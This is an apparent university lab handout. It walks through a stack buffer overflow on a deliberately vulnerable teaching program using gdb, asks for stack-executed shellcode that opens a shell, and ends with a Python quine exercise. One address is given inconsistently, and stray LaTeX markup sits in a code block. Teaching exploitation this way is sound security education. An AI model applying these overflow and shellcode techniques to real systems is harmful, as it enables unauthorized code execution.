# Lab Projects for July 13, 2012

## Smashing the Stack

This problem has you implement a buffer overflow attack on a program. In the web page
`http://nob.cs.ucdavis.edu/classes/cosmos2012-4`
is a program called *bad.c*. This program contains a buffer overflow vulnerability; see the call to *gets*() at line 13. Your job is to exploit the overflow by providing input to the running process that will cause the program to invoke the function *trap* (which, you may notice, is not called anywhere else). You will know you have succeeded when you run the program, give it your input, and it prints "Gotcha!"

Here is a walk-through of how to do this. Bear in mind the numbers will vary among different systems. I did this on a 32-bit machine running FreeBSD; if you used a 64-bit machine, or a Linux system, your numbers *will* be different.

First, compile the program "bad.c" as follows:

```
% gcc -Wall -O2 bad.c -o bad
```

Note you do not have to use the debugging option.[1] Next, create a file "X" with 100 characters in it. I repeated the sequence "abcd" (which is `0x61626364` in hex) to make up the 100 characters.[2] Why you do this will become clear in a few minutes.

Then, run *gdb*(1) on the executable and put a breakpoint in the function `getstr`, because the buffer is allocated in that function. Run the program to get to the breakpoint. Use the file "X" as input so, later in the run, you can force the buffer overflow. At this point, you're not trying to exploit it; you just want to locate the return address you have to overwrite, and the address of the function `trap` that you need to overwrite the return address with.

```
(gdb) break getstr
(gdb) run < X
```

This prints a message saying it is stopping at a breakpoint in `getstr`(). Now execute the instructions that start the function and allocate space for the local variables:`buf`:

```
(gdb) stepi 4
```

This executes the prologue of `getstr`.

You can now find out the return address of interest. It's the address of the function `trap`, so just print it:

```
(gdb) print /x (int) trap
```

That address is `0x80485f0`. When you develop the attack, that's the address you will use to overwrite the return address. In the `print` command, by the ay, the `/x` means to print the value in hexadecimal.

Next, you have to locate the address to overwrite. This is the address to which `getstr` will return. To find it, do a stack trace, and look for the return address next to the name `main`():

```
(gdb) backtrace
#0  0x0804833a in gets@plt ()
#1  0x080485b1 in getstr ()
#2  0x080485d6 in main ()
\begin{verbatim}
You could also have found it by looking at the code for \texttt{main}:
\begin{verbatim}
(gdb) disassemble main
Dump of assembler code for function main:
```

[1]Most programs are compiled without it when they are installed, so I wanted to show that you don't need it.

[2]This differs from tradition. The traditional "sled" is `0x41414141`. But the one used here gives more information, as you will see.

```
0x080485c0 <main+0>: lea    0x4(%esp),%ecx
0x080485c4 <main+4>: and    $0xfffffff0,%esp
0x080485c7 <main+7>: pushl  -0x4(%ecx)
0x080485ca <main+10>: push   %ebp
0x080485cb <main+11>: mov    %esp,%ebp
0x080485cd <main+13>: push   %ecx
0x080485ce <main+14>: sub    $0x4,%esp
0x080485d1 <main+17>: call   0x80485a0 <getstr>
0x080485d6 <main+22>: movl   $0x8048648,(%esp)
0x080485dd <main+29>: call   0x8048374 <puts@plt>
0x080485e2 <main+34>: add    $0x4,%esp
0x080485e5 <main+37>: mov    $0x1,%eax
0x080485ea <main+42>: pop    %ecx
0x080485eb <main+43>: pop    %ebp
0x080485ec <main+44>: lea    -0x4(%ecx),%esp
0x080485ef <main+47>: ret
End of assembler dump.
```

and finding the address of the instruction following the call to `getstr`. Either way, you see it's `0x080485d6`.

Now, you need to find where on the stack this address is kept. Look at the stack frame corresponding to `getstr`. To do this, go to that frame:

```
(gdb) up
#1  0x080485b1 in getstr ()
```

and display information about it:

```
(gdb) info frame
Stack level 1, frame at 0xbfbfeac0:
 eip = 0x80485b1 in getstr; saved eip 0x80485d6
 called by frame at 0xbfbfeac4, caller of frame at 0xbfbfeaa0
 Arglist at 0xbfbfeab8, args:
 Locals at 0xbfbfeab8, Previous frame's sp is 0xbfbfeac0
 Saved registers:
  ebp at 0xbfbfeab8, eip at 0xbfbfeabc
```

The output of that *gdb* command says that the current stack frame begins at `0xbfbfeac0`. The stack is arranged so that the return address of interest is stored in the word immediately preceding the current frame address above. To see this, subtract 16 from the current frame address and print 4 words, as follows:

```
(gdb) x/4xw 0xbfbfeab0
0xbfbfeab0: 0x00000001 0xbfbfeb2c 0xbfbfeac8 0x080485d6
```

The last word printed on the line should (and does) correspond to the return address of interest. That's the location you need to change.

Next, you have to locate the buffer. To do this, write into the buffer with a known value. That's what you created and put into the file "X"; it's called the "sled". So, see what is in memory now, and then watch what happens when the sled overwrites it. First, print the contents of memory beginning with the caller frame address from above up to the location where the return address is stored. From the above, the caller frame address is `0xbfbfeac0`, so use this command:

```
(gdb) x/8xw 0xbfbfeaa0
0xbfbfeaa0: 0xbfbfeaac 0x2819b740 0xbfbfeac8 0xbfbfeb34
0xbfbfeab0: 0x00000001 0xbfbfeb2c 0xbfbfeac8 0x080485d6
```

Why 8? The number of bytes between `0xbfbfeaa0` and `0xbfbfeac0` is `0x20` or 32, so there are 32/4 = 8 words to print.

Now continue running the program:

```
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x64636261 in ?? ()
```

The "0x64636261" shows the sled overwrote the return address, because it was popped and put into the program counter, causing the crash. Note that the value there is 0x64636261 and not 0x61626364. That means this system is "little endian", so when you put the address of `trap`() into the sled, you will need to take this into account.

Rerun the memory dump you did earlier, so you can determine how the contents of memory changed:

```
(gdb) x/8xw 0xbfbfeaa0
0xbfbfeaa0: 0xbfbfeaac 0x2819b740 0xbfbfeac8 0x64636261
0xbfbfeab0: 0x64636261 0x64636261 0x64636261 0x64636261
```

Look for a sequence of words that contains 0x64636261. That's the sled. Find the address of the first such word. From the above, it is 0xbfbfeaac.

From this, you can compute the length of the needed sled. It must be the number of words between this address and the return address. From the above, it is 0xbfbfeac0 − 0xbfbfeaac = 0x14 or 20 bytes, or 5 words, long. Further, the 5th word will overwrite the return address.

Now, you have to construct the sled that you will give as input. This will be a file containing 5 words, each the new return address—that is, the address of `trap`, or 0x08048470. To make constructing this file really easy, I wrote a small program "hexer.py" that reads a sequence of hexadecimal digits from the standard input and writes the corresponding binary to the standard output. It ignores white space, so I can use spaces and newlines to make the file easy for a human to read. I use this to create the sled. You can download it at the same place as where you got the program *bad.c*.

Create the file "IN", which contains as text:

```
f0 85 04 08
f0 85 04 08
f0 85 04 08
f0 85 04 08
f0 85 04 08
```

Note that this is the address of `trap`(), which is 0x080485f0, written in little endian ordering. Run:

```
% hexer < IN > OUT
```

This produces the required sled in the file "OUT". Finally, run the program with the sled as the input:

```
% bad < OUT
```

It prints "Gotcha!". Done!

## Executing From the Stack

Augment your solution to execute code you place on the stack. Have the code do something interesting, like create a shell. You will need to check that the loader will allow code on the stack to be executed (the linker/loader switch—for the Fedora Core systems in the CSIF, the option `-Wl,-z,execstack` to *gcc* will do this.

This one is harder, because you need to figure out how to write a small segment of code that will call a shell. Have fun!

## Quines

A *quine* is a program that prints a copy of itself. The copy must be *identical* to the program.

Write a quine in Python.

There are many ways to do this. What matters is that, in the end, the output of your program should match the source code of your program. To check this, suppose your program is *quine.py*. Run the following:

```
% python3 quine.py > output
% diff quine.py output
```

If there is no output from the `diff`, you're done.